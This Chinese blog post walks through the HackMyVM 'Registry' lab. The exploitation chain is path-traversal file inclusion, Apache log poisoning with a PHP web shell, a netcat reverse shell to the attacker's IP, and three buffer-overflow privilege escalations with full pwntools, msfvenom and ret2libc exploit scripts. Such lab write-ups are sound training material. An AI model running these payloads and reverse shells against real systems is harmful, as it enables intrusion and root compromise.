从0到1理解文件包含 缓冲区溢出 原理与利用--打靶手记之hackmyvm Registry

从本文开始,后面的打靶文章,麋鹿都会尽量讲的细致,尽量做到让小白也能完全听懂,年后考虑录成视频放到公众号或者B站

本文目录

图片

信息收集

挺好,自动显示靶机ip了,不用扫网段了,扫端口就行了

图片

-sC是默认的脚本扫描,-sV探测服务版本,包括服务类型(如HTTP服务器、SSH服务器等)和具体的版本号(如Apache 2.4.41、OpenSSH 7.9等)。-p-是扫描所有的端口(1-65535)。

图片

点sign up可以看到又是文件包含

图片

fuzz读一下passwd

import requests

# 目标URL,其中FUZZ占位符将被替换
base_url = "http://192.168.56.107/index.php?page=FUZZ/etc/passwd"

# 初始的../数量
depth = 1

# 尝试../最大数量
max_depth = 10

# 检测成功的响应大小阈值(根据实际情况调整)
success_size_threshold = 1000

while depth <= max_depth:
    # 构造FUZZ部分
    fuzz_payload = "....//" * depth
    # 替换
    url = base_url.replace("FUZZ", fuzz_payload)
    # 发送请求
    response = requests.get(url)
    # 获取响应的大小
    response_size = len(response.content)
    print(f"尝试../数量 {depth}: {url} - 响应大小: {response_size}")
    
    # 判断响应大小是否达到预期的阈值
    if response_size > success_size_threshold:
        print(f"在../数量 {depth} 发现返回页面,响应大小为 {response_size}")
        break  
    depth += 1

# 如果超过最大数量仍未找到,则输出未找到的信息
if depth > max_depth:
    print("没能fuzz出来,增大长度或重新构造payload")

运行,找到对应url为

http://192.168.56.107/index.php?page=....//....//....///etc/passwd

图片

图片

尝试包含default.php未发现可用漏洞,那就试一下fuzz包含log文件

Debian/Ubuntu系统日志路径如下

  • 访问日志:/var/log/apache2/access.log

  • 错误日志:/var/log/apache2/error.log

CentOS/RHEL/Fedora对应

  • 访问日志:/var/log/httpd/access_log

  • 错误日志:/var/log/httpd/error_log

从刚才端口扫描的结果来看,是Ubuntu和Apache2,包含看一下/var/log/apache2/access.log

图片

路径正确,现在在日志里写一个phpinfo

curl "http://192.168.56.107/index.php" -A "<?php phpinfo(); ?>"

-A是设置ua头为后面参数,这样access.log里就写入了phpinfo,包含log以后就解析执行了

图片

弹个shell

curl "http://192.168.56.107/index.php" -A "<?php system(\$_REQUEST['cmd']); ?>"

图片

http://192.168.56.107/index.php?page=....//....//....///var/log/apache2/access.log&cmd=netcat%20-e%20/bin/bash%20192.168.56.101%205678

图片

这个shell看着好难受,提升一下交互

python3 -c 'import pty;pty.spawn("/bin/bash")'
#使用Python启动一个更好地与终端交互的shell
ctrl + z

stty -a
#显示当前终端的所有可用stty选项,包括行数和列数。


stty raw -echo ;fg
#stty raw设置终端为"raw"模式,这意味着输入的字符会直接发送到应用程序,而不是被终端行处理。这允许更复杂的交互,如使用Vi或Nano编辑器。
#-echo关闭回显,也就是键入的命令不会显示在终端上。

export TERM=xterm
#提供更丰富的终端功能,如颜色显示和光标移动

stty rows 45 cols 151
#设置终端的行数和列数

这样终端就很舒服了,这里忘了截图了,等视频课喽

提权

cxdxnt用户

本机上开一个http服务,让靶机去下载pspy64,看一下靶机进程

图片

./pspy64

图片

没有找到可以想象,那就看一下所有suid权限的文件(找允许普通用户执行需要超级用户权限的命令的文件)

find / -perm -u+s 2>/dev/null

图片

只有/opt/others/program是自定义的服务,看一下这个

图片

所有者为cxdxnt,对于这些小文件,用base64编码复制粘贴出来还原到本地

图片

用ida打开,看一下伪代码(快捷键F5)

图片

main函数很简单,当输入命令行参数以后,用vuln()处理函数,如果没有提供参数,就输入usage那句话,现在来看一下vuln函数

图片

dest被定义为长度为128字节的字符数组。这意味着它能够安全存储的字符串长度最大为127个字符(加上一个终终止的null字符\0),由于strcpy没有检验a1指向的字符串长度,故这里存在一个典型的缓冲区溢出漏洞。

何为缓冲区溢出漏洞

缓冲区溢出漏洞是一种常见的安全漏洞,发生在程序写入的数据超出了为其分配的内存缓冲区的边界时。这种情况通常发生在使用不安全的字符串操作函数(如strcpy、sprintf等)时,这些函数不检查目标缓冲区的大小。当攻击者能够控制或预测超出缓冲区边界的数据时,就可能利用这种漏洞执行任意代码或破坏程序的数据,导致程序崩溃、数据泄露或权限提升。

原理

  1. 内存布局:在程序运行时,内存被组织成栈(stack)、堆(heap)和其他区段。栈用于存储局部变量、函数参数和返回地址等。堆用于动态分配内存。

  2. 溢出发生:当程序将数据写入一个固定大小的缓冲区(如栈上的局部字符数组)时,如果写入的数据量超过了缓冲区的容量,多出的数据将溢出到相邻的内存区域。

  3. 后果:溢出的数据可能覆盖重要的控制信息,例如函数的返回地址、堆的管理结构或其他变量。攻击者通过精心构造输入数据,可以改变程序的控制流程,执行恶意代码

缓冲区溢出的类型

  • 栈溢出:这是最常见的类型,发生在栈上,攻击者通过覆盖栈上的控制信息(如返回地址)来控制程序。(本程序类型)

  • 堆溢出:发生在堆上,攻击者通过覆盖堆管理结构来执行攻击,可能导致任意代码执行或堆数据的破坏。

  • 整数溢出:虽然严格来说不是缓冲区溢出,但整数溢出可以导致缓冲区分配错误(如分配的大小过小),从而间接导致缓冲区溢出。

  • 基于字符串的溢出:特别是在处理字符串时,不安全的函数(如strcpy、sprintf)可能导致数据溢出目标缓冲区。

ok,回到program上面

先用pwndbg(二进制分析和漏洞分析工具)生成一个160(大于127就行)字节的字符串,把生成的字符串作为参数传递给programe,这样会触发缓冲区溢出,可以看到在何处崩溃,这里可以看到执行vuln函数时发生了段错误(SIGSEGV)。

当程序崩溃(如本例中的段错误SIGSEGV)时,RSP(栈指针寄存器)指向当前栈帧的顶部,也就是崩溃点。接着用x/gx $rsp命令用于查看栈指针(RSP)当前指向的内容,0x6161616161616172是上面生成那段字符的一部分(十六进制转化字符串为aaaaaaar),说明栈的返回地址已经被这个模式字符串覆盖。

接着找到0x6161616161616172字符串的偏移量,偏移量是在缓冲区溢出中,覆盖或修改返回地址、函数指针所需的输入数据的准确位置。这个偏移量是从输入数据的起始点到达目标点的字节距离。

这里用cyclic -l 0x6161616161616172命令反向查找偏移量,返回结果为136,这就意味着在vuln函数的缓冲区中,从开始到能够控制返回地址的地方,我们需要填充136字节的数据,简单来说就是,在输入数据的第136个字节处开始,我们就可以通过覆盖返回地址来执行任意代码。

图片

图片

rax是一个通用寄存器,经常被用来存放地址,jmp rax指令的作用是跳转到rax寄存器中存储的地址执行代码。我们先将shellcode的地址放入rax,当程序执行栈溢出并改变返回地址以后,接着会跳转到rax寄存器指向的地址并开始执行shellcode,也就是执行我们定义的命令,所以这里用ropper --file programe --jmp rax查找可以用于执行jmp rax指令的地方,这里为0x401014地址。

图片

ok,所有的信息都具备了,现在把下面的脚本保存为pwnit.py并运行

#!/usr/bin/python3
from pwn import * # 导入pwntools库

offset = 136 # 溢出前填充的字节量

# 初始化shellcode
shellcode = b""
# 生成setresuid(1002, 1002, 1002)的shellcode,用于设置为用户cxdxnt的ID
shellcode += asm(shellcraft.amd64.setresuid(1002, 1002, 1002), arch="amd64")
# 生成弹出shell的shellcode
shellcode += asm(shellcraft.amd64.sh(), arch="amd64")

# 计算并生成填充数据,填充至offset处,保持栈的对齐
junk = b"A" * (offset - len(shellcode))

# 该地址是找到的可用的'call rax'指令的地址
callrax = p32(0x401014)

# 构造payload,包括shellcode,junk和callrax gadget的地址
payload = shellcode + junk + callrax

# 运行program,并传入payload作为参数
shell = process(["/opt/others/program", payload])
# 交互模式,允许用户与shell交互
shell.interactive()

ok

图片

gato用户

继续提权,sudo -l,这条命令在前几篇都有解释,老生常谈了,不懂的去看上一篇

图片

MyFirstProgram.exe可以提权,下载下来

图片

来反编译看一下

图片

图片

该程序功能是在特定端口上监听来自客户端的连接请求,并为每个接受的连接启动一个新线程来连接。

该程序同样存在缓冲区溢出漏洞--当接受的数据量过大(58623)就会造成缓冲区溢出。

先运行起来看一下端口,特定端口为42424

图片

还是上面的思路,只不过对于windows程序需要用Wine来调试

winedbg --gdb MyFirstProgram.exe

图片

接着我们用python写一个对该端口(42424)持续发送数据,来触发缓冲区溢出的脚本

#!/usr/bin/python3
from pwn import remote, cyclic

payload = cyclic(150)

shell = remote("127.0.0.1", 42424)
shell.sendline(payload)
shell.close()

图片

成功触发缓冲区溢出,接着查看eip寄存器的地址,来确定能够成功覆盖EIP的精确输入长度,原理同上。

图片

查看偏移量,为146.

图片

查看JMP ESP地址

图片

先用msf生成shellcode,记得把这里的ip换成kali的ip

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.101 LPORT=6666 EXITFUNC=thread EXITFUNC=thread -b '\x00\x0a' -f python -v shellcode -e x86/jmp_call_additive

图片

把shellcode写入下面,倒数第三行的ip为靶机ip,原理同上,都是让溢出后的EIP指向包含攻击者shellcode的栈位置,然后执行shellcode。

#!/usr/bin/python3
from pwn import remote, p32

offset = 146
junk = b"A" * offset

jmpesp = p32(0x080414c3)

shellcode = b""
shellcode += b"\xfc\xbb\x51\xdf\x44\xfe\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x60\x04\xb3\x1d\xd1\xf9\x6f\x88"
shellcode += b"\xd7\x74\x6e\xfc\xb1\x4b\xf1\x6e\x64\xe4\xcd"
shellcode += b"\x5d\x16\x4d\x4b\xa7\x7e\x8e\x03\x6f\x1b\x66"
shellcode += b"\x56\x90\xf9\x7c\xdf\x71\x4d\xe6\x8f\x20\xfe"
shellcode += b"\x54\x2c\x4a\xe1\x56\xb3\x1e\x89\x06\x9b\xed"
shellcode += b"\x21\xbf\xcc\x3e\xd3\x56\x9a\xa2\x41\xfa\x15"
shellcode += b"\xc5\xd5\xf7\xe8\x86\x15\x08\xf3\x86"


payload = junk + jmpesp + shellcode

shell = remote("192.168.56.107", 42424)
shell.sendline(payload)
shell.close()

然后靶机以用户gato的身份执行MyFirstProgram.exe

sudo -u gato wine /opt/projects/MyFirstProgram.exe

然后kali执行上面的py脚本并监听6666端口,就弹回来了

图片

还得提权

root用户

继续找具有SUID权限的文件

find / -perm -u+s 2>/dev/null

图片

有两个自定义的服务或程序

/opt/others/program和/opt/fixed/new

前者已经用过了,现在来看后者

图片

复制出来

图片

ida64打开

图片

图片

又是缓冲区溢出,继续老一套。

生成150长度的字符并作为参数传递给程序,查看EIP寄存器的值和覆盖时的偏移量为140.

图片

图片

查看一下/opt/fixed/new程序使用的libc的地址

图片

发现这里使用了ASLR(地址空间布局随机化),也就是每次程序启动时都会随机改变库文件的加载地址,这让我们准确定位shellcode变得十分困难,也就说我们不能在栈上执行shellcode。

现在情况是不能在栈上执行shellcode,那么解决办法就是选择调用程序或其加载的库中已经存在的函数去执行shellcode,也就是利用libc库里的函数。

虽然ASLR使得地址随机化,但由于地址空间有限,libc地址还是会重复(0xf7cfe000),这里循环查看new程序的动态库依赖,并用grep过滤出包含地址0xf7cfe000的行,这里看到该地址会重复出现,有了这个地址以后,我们可以多次尝试利用,直到libc加载到这个重复的地址时,就可以成功利用了。

图片

找到libc的基地址以后,就可以算出库中函数的精确地址了,那么下一步就是寻找libc中的函数(system和exit函数)和字符串(/bin/sh)地址。从下图的结果可知,exit函数在libc中的偏移量为0x0003a440,而system函数的偏移量为0x00048150,/bin/sh字符串在libc中的偏移量是0x1bd0f5。

图片

至此,我们确定了如下信息

在new程序的栈帧中,从输入开始到覆盖EIP寄存器所需的字节数为140

libc的基地址为 0xf7cfe000

system函数在内存中的实际地址为libc基地址+偏移量(0x00048150)

exit函数的地址为libc基地址+偏移量(0x0003a440)

/bin/sh字符串地址为libc基地址+偏移量(0x1bd0f5)

接着构造payload--生成140字节的字符串填充缓冲区,在程序执行到溢出点时,用system 函数的准确地址覆盖返回地址,并传入字符串 /bin/sh 地址,让程序执行system("/bin/sh")函数(打开一个 新的shell)。在system程序执行完以后,程序回到exit函数的准确地址,程序正常退出。

然后用while无限循环运行/opt/fixed/new,并在每次运行new时把上面脚本输出的payload传递给new程序,这样就能保证存在某次运行程序时,libc地址为我们设定的地址,就会触发缓冲区溢出漏洞达到提权目的。

ok上脚本,保存为root.py

#!/usr/bin/python3
from subprocess import call
from struct import pack

#缓冲区溢出的偏移量
offset = 140
#将140个"A"字符组成的字节串填充缓冲区
junk = b"A" * offset
#libc库的基地址libc_base
libc_base = 0xf7cfe000

#下面三个为偏移地址
system_addr_offset = 0x00048150
exit_addr_offset = 0x0003a440
bin_sh_addr_offset = 0x1bd0f5  

#下面三个为准确地址,并将计算出的准确地址用pack转换为小端序
system_addr = pack("<L", libc_base + system_addr_offset)
exit_addr = pack("<L", libc_base + exit_addr_offset)
bin_sh_addr = pack("<L", libc_base + bin_sh_addr_offset)

# 构造payload
payload = junk + system_addr + exit_addr + bin_sh_addr
print(payload)

# 无限循环调用new程序,直到成功为止
while True:
   ret = call(["/opt/fixed/new", payload])

python3 root.py,成功提权到root,结束

图片

欢迎关注我们的公众号--麋鹿安全,我们的文章会第一时间发布在公众号。

往期文章

权限维持和排查

权限维持之加载动态链接库隐藏进程 tcp连接

继续谈维权手法之监控记录ssh su sudo账号密码 (qq.com)

别当初级猴子了,五分钟教你linux维权和排查思路,助你圆梦4k! (qq.com)

你不知道的win应急思路!从维权到排查,面试必问!不来看看?

只会netstat?最全应急排查网络连接思路,不学一下吗?

rootkit原理

初探rookit(另一种角度看维权) (qq.com)

从linux内核初窥LKM(抛砖引玉之rootkit隐藏进程 or tcp连接原理) (qq.com)

漏洞复现和利用手法

从0认识+识别+掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具

从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具 (qq.com)

浅谈宝塔渗透手法,从常见漏洞 聊到 宝塔维权 再到 bypass disable_functions原理

从Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

遥遥领先!java内存马分析-[Godzilla-FilterShell] (qq.com)

浅分析 Apache Confluence [CVE-2023-22515]

再谈宝塔后门账号维权

浅谈jenkins后渗透

一些工具和原理

浅析HackBrowserData原理以及免杀思路(红队工具之获取目标机器浏览器记录 密码 cookie)

浅析 后渗透之提取微x 聊天记录原理and劫持tg 解密聊天记录原理

魔改蚁剑之零基础编写解码器

一些渗透手法

浅谈水坑攻击之结合xss平台钓鱼获取浏览器记录和微信数据

试听课--水坑攻击之xss平台钓鱼上线以及后渗透流程 (qq.com)

试听课之小白快速理解xss钓鱼原理和手法 以及后渗透流程 (qq.com)

从绕过disable_functions到关于so的一些想法

windows获取hash常见手法 (qq.com)

CDN+Nginx反向代理来隐藏c2地址

CDN和域名隐藏C2地址 (qq.com)

云函数实现隐藏c2地址 (qq.com)

一些杂谈

考研考公失败,无实习无经验,找不到工作?还有其他赛道吗?(qq.com)

晚睡+过度劳累=双杀阳气!五年赛博保安养生法教你如何快速补救!(食补篇) (qq.com)

2023秋招如此惨淡,还有必要继续学安全吗?教你如何破局0offer (qq.com)

赛博保安hw讨薪总结(针对学生党) (qq.com)

再加一个打靶系列

如何快速提升渗透能力?带你打靶场逐个击破hackmyvm之001gift (qq.com)

打靶手记之hackmyvm--UnbakedPie (qq.com)

打靶手机之hackmyvm--connection (qq.com)

打靶手记之hackmyvm--tiny (qq.com)

打靶手记之hackmyvm--Birthday (qq.com)

打靶手记7

打靶手记 · 目录

上一篇打靶手记之hackmyvm--Birthday下一篇phpinfo+文件包含临时文件getshell

  • 25
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值